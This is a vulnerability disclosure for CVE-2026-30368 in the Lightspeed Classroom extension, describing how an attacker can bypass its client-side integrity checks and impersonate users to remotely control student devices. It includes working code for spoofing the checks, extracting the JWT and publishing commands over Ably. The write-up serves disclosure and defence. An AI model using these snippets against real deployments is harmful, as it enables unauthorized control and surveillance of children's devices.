Lightspeed Classroom CVE-2026-30368 - Weak Authentication Allowing Unauthorized Remote Control of Student Devices

4/20/2026

Introduction

Lightspeed Classroom is a popular browser extension used by thousands of schools worldwide, including at least 28 of the top 50 in the US, by cities as large as Los Angeles and Chicago, to keep track of students on school-issued devices in the classroom. It enables teachers to view, control, and manage what students see on their devices. This vulnerability allows an attacker to connect to a desired student’s school-issued device bearing the extension and perform actions meant to be done by teachers, such as sending URLs, closing tabs, and even locking screens of students. An attacker requires only a target email address and district customer ID to initiate this remote control, without possessing Lightspeed credentials, elevated permissions, or physical access to the device. Since the Chrome extension is limited to using username/email only to authenticate users, identity can easily be spoofed to authenticate as another person.

The core issue is Lightspeed’s reliance on obfuscation to enforce integrity. They placed authentication code in an obfuscated WebAssembly file written in Go, which is notoriously difficult to reverse engineer. However, the file can be placed into a harness that mimics the real extension to extract authorization tokens and impersonate arbitrary users within the system. Obfuscation was also applied to worker.js, which includes most of the application’s code. The code is still navigable as long as you use any deobfuscator and unminifier website and have a decent editor that lets you view references.

Threat Model

The Extension

LS Classroom comes packaged as a browser extension meant for provisioning to students.

File structure:

(root)
├── assets
│   ├── action-done.png
│   ├── action-needhelp.png
│   ├── action-unavailable.png
│   ├── browseraction-working.png
│   ├── icon-classroom-128.png
│   ├── icon-classroom-16.png
│   ├── icon-classroom-48.png
│   ├── icon-r4tl-128.png
│   ├── icon-r4tl-16.png
│   ├── icon-r4tl-48.png
│   ├── icon128.png
│   ├── icon16.png
│   ├── icon48.png
│   ├── selected.svg
│   ├── status-done.svg
│   ├── status-needhelp.svg
│   ├── status-pass.svg
│   └── status-working.svg
├── classroom.wasm
├── classroom_license.txt
├── content.js
├── manifest.json
├── menu.css
├── menu.html
├── menu.js
├── offscreen.html
├── options.html
├── react.min.js
├── rtc_connection.js
└── worker.js

The Lightspeed Classroom extension uses Ably for realtime communication from a controller (Lightspeed GUI or unauthorized device) to a student’s device (client).

The extension authenticates into Ably using a 3 part process:

Now that the extension (or unauthorized device) has successfully connected to Ably, it can publish (send) or subscribe (listen for) messages sent in the channel.

IsClassroomActive is a conditional check widely used throughout the extension. It checks the following:

Lightspeed Classroom uses the following Ably messages:

The Vulnerability

Earliest known affected extension version: 5.1.2.1763770643

This vulnerability affects all versions of the extension, however.

The vulnerability aims to execute worker.js inside of a non-browser environment (such as Node.js) but for it to work as if it were inside a browser, then extract the JWT generated by the WASM and pass it back to the file that loads and executes the worker, and subsequently connect to Ably and expose opportunities for bad actors to perform unauthorized actions. This loader or “harness” needs to spoof almost every Chrome API for the worker to function properly. The loader we used in our initial testing of the vulnerability is at the bottom of the page.

The vulnerability itself starts out in the validation checks before the extension starts up. In order to use a modified worker.js to extract the JWT to send to the auth server, validation check #3 (hash check of worker.js) needs to be bypassed. Importantly, the worker.js includes the Go runtime that facilitates communication between the WASM and the worker.

During check 3, the WASM calls chrome.extension.getURL('worker.js') which retrieves the full URI that it has to fetch in order to access the worker and check its hash. In the Go runtime that is located in the worker, there is a function that handles the js.valueCall Go syscall. All function calls, including getURL, pass through this function to be processed. This is where the vulnerability happens. We can manipulate the function that handles js.valueCall to change the arguments passed to the getURL function (without modifying the WASM binary) to a different file path that includes a non-modified worker. This is done by calling two functions, one before the call is actually made inside of JS (by Reflect.apply), and one after, to manipulate its output.

Next, in check 4, the WASM calls chrome.identity.getProfileUserInfo.toString() to verify that the function has not been tampered with. The expected output is function getProfileUserInfo() { [native code] }. This can be manipulated in the exact same way as check 3. Once check 4 is successful, the WASM will trust the environment as a real student device and continue execution of the worker.

Below is the modified js.valueCall handler, along with the functions called before and after the value is applied:

"syscall/js.valueCall": function (sp) {
  sp >>>= 0;
  try {
    var thisValue = loadValue(sp + 8);
    var func = Reflect.get(thisValue, loadString(sp + 16));
    var args = loadArgs(sp + 32);
    args = valueCallBefore(args, args, func, thisValue);
    var result = Reflect.apply(func, thisValue, args);
    result = valueCallAfter(args, result, func, thisValue);
    sp = wasmInstance.exports.getsp() >>> 0;
    storeValue(sp + 56, result);
    wasmMemory.setUint8(sp + 64, 1);
  } catch (error) {
    sp = wasmInstance.exports.getsp() >>> 0;
    storeValue(sp + 56, error);
    wasmMemory.setUint8(sp + 64, 0);
  }
}

/////

function valueCallBefore(args, before, func, r) {
	// console.log(args, before, func, func.name, r)
	const extUrlActualWorker = 'chrome-extension://EXT_ID/actualworker.js'
	if (args[0] == "chrome-extension://EXT_ID/worker.js") {
    return [extUrlActualWorker, args[1]];
	}
	if (func == chrome.identity.getProfileUserInfo) {
	  console.log(identity)
		args[1](identity)
		return []
	}
	return before
}

/////

function valueCallAfter(args, after, func, r) {
	// console.log(func, args, r)
	if (func.name == "toString"){
		return 'function getProfileUserInfo() { [native code] }'
	}
	if (args[0] == "worker.js") {
		return "chrome-extension://EXT_ID/actualworker.js"
	}
	if (args[0] == "[validation] pass") {
	  console.log("validation passed")
	}
	return after
}

The next step is to keep running the service worker until the JWT generated by the WASM can be extracted. Our implementation of the vulnerability extracts the JWT to a variable after the parameters for the Ably connection are defined. Once the loader detects that the JWT variable has been defined, it kills the worker to save processing power, authenticates with Ably, and connects or passes on the token to another file or web interface. Below is the JWT extraction code inside the worker:

// Specific variable names in this snippet differ across builds
_0x233583 = {
  authHeaders: {
    "Content-Type": "application/json",
    "x-api-key": _0xdcbbd7("apiKey"),
    jwt: _0xdcbbd7("ablyJwt"),
    exp: 10
  },
  authUrl: _0xdcbbd7("ablyUrl"),
  autoConnect: false,
  clientId: _0xdcbbd7("email"),
  echoMessages: false,
  environment: "lightspeed",
  fallbackHosts: _0x2affed,
  recover: function (_0x3f76a3, _0x32fee0) {
    _0x32fee0(true);
  }
};

// The JWT is extracted here
globalThis.__LIGHTSPEED_JWT__ = _0xdcbbd7("ablyJwt");

Finally, the loader can connect to a student’s Ably channel using the received token. The code below demonstrates how an unauthorized third-party can connect to a student’s computer and open a webpage on their device.

const jwt = await runServiceWorker({ email, cId, });
killServiceWorker();

const realtime = new Ably.Realtime({
  authHeaders: {
    "Content-Type": "application/json",
    "x-api-key": 'redacted',
    jwt,
    exp: 10
  },
  authUrl: 'https://ably.lightspeedsystems.app/',
  clientId: email,
  autoConnect: false,
  echoMessages: true,
  endpoint: "lightspeed",
  fallbackHosts: ["a-fallback-lightspeed.ably.io", "b-fallback-lightspeed.ably.io", "c-fallback-lightspeed.ably.io"],
});

const channel = realtime.channels.get(`${cId}:${email}`)
channel.publish('url', 'https://example.com');

An unauthorized third party can now perform any standard Lightspeed Classroom action on the student’s device, including sending URLs, closing tabs, locking and unlocking them, viewing their screen, and sending notifications. This becomes very dangerous and a serious breach to the privacy of students given the level of access granted by Lightspeed Classroom. While mass actions cannot be directly performed, an unauthorized third party can still iterate through a list of students to target given a decently powerful computer.

02-img1.png

Fig. 1: Demonstration of control over a Lightspeed classroom client.

Impact Summary and Root Cause

This vulnerability enables unauthorized third parties to impersonate legitimate users within Lightspeed Classroom and gain real time control over student devices. An attacker does not need physical access, administrative credentials, or any elevated privileges. Knowledge of a student’s email and district Customer ID is all it takes to initiate an attack.

The impact includes, but is not limited to:

These actions can be performed remotely, at scale, and can cause severe destructive effects in educational institutions using Lightspeed Classroom.

The root cause of this vulnerability is reliance on integrity of client-side code and security through obscurity via obfuscation for authentication and integrity checks. Identity verification, environment validation, and token generation are all executed fully client-side and relying on obfuscated JavaScript and WebAssembly rather than server-side verification.

Specifically:

As a result, an emulation of a browser environment is treated as a legitimate student device.

Attempted Mitigations

Lightspeed has been informed of the vulnerability by at least 1 school district since January 22nd, 2026.

As of April 20th, 2026, a patch for the issue has not been pushed, and everything documented here still works.

TL;DR

Lightspeed Classroom can be run outside of a browser by an unauthorized actor by bypassing validation checks by manipulating the WebAssembly runtime inside of the service worker. This leads to them being able to obtain authorization tokens for any user from any district that uses Lightspeed Classroom, and in turn, being able to perform actions on student devices that are normally reserved for teachers or administrators for usage to manage student browsing. The attacker does not need any info except for the email and customer ID of their target.

Conclusion and Final Notes

This vulnerability demonstrates that obfuscation and client-side enforcement are insufficient safeguards for systems that exercise real control over user devices. When authentication tokens and authorization decisions can be from an emulated environment, trust boundaries collapse.

Given the worldwide scale at which Lightspeed Classroom is deployed, the implications extend beyond individual misuse and represent a systemic risk to student privacy and safety. Addressing this issue requires architectural changes rather than incremental patches. Lastly, it is important to mention that this report intentionally omits automation tooling and fully operational exploit chains.

Credits